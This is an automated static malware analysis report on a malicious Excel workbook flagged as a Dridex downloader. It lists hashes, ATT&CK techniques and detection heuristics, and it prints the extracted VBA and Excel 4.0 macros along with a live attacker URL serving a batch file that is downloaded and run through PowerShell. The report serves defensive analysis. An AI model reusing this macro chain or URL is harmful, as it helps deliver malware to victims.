Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 06b7caebc5254f65…

MALICIOUS

Office (OOXML)

415.4 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-13
MD5: 4bfa75f47c48a8de44623b345be1038a SHA-1: d427b21a9306a8eb97868c7a96e9c890ce459145 SHA-256: 06b7caebc5254f65a6930a869505169044206bda5715fbc1844d497d99c21601
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains both VBA macros and Excel 4.0 macros, indicating a multi-stage approach. The Excel 4.0 macros utilize RUN and EXEC functions to execute a command that downloads a batch file from 'http://147.135.165.25/ser.bat' using PowerShell and then executes it. The VBA script also uses WScript.Shell to run a command, further reinforcing the download and execution behavior. This strongly suggests the file acts as a downloader for a secondary payload.

Heuristics 10

  • ClamAV: Xls.Downloader.DridexGreen09213-9890103-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.DridexGreen09213-9890103-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: RUN, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set objShell = CreateObject("Wscript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objShell = CreateObject("Wscript.Shell")
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://147.135.165.25/ser.bat Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 895 bytes
SHA-256: ff85acc8568622931f3442cd0f5486e2cf5cdf6265dcc36935b11388d3fde4da
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Public Function asd()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run Worksheets("Feuil1").Range("A303")
End Function



Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Function asd()
MsgBox ("asd")
End Function



Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19968 bytes
SHA-256: 6802bfcc2ff389a15e56a9880563b5180361611f342ff40c5547f12e64645ba4
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1395 bytes
SHA-256: c682b0e9e676a6c2f1cc95a25b4ac42bfe8b2507a24bd151678579a33c0b8606
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="E583:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.2"/><cols><col min="1" max="4" width="11.42578125" customWidth="1"/><col min="5" max="5" width="8.85546875" hidden="1" customWidth="1"/><col min="6" max="256" width="11.42578125" customWidth="1"/></cols><sheetData><row r="583" spans="11:11" x14ac:dyDescent="0.2"><c r="K583" s="3"><f>RUN(asd)</f><v>0</v></c></row><row r="596" spans="11:11" x14ac:dyDescent="0.2"><c r="K596" s="3" t="e"><f>EXEC(asd)</f><v>#NAME?</v></c></row><row r="600" spans="11:11" ht="15" x14ac:dyDescent="0.2"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.2"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>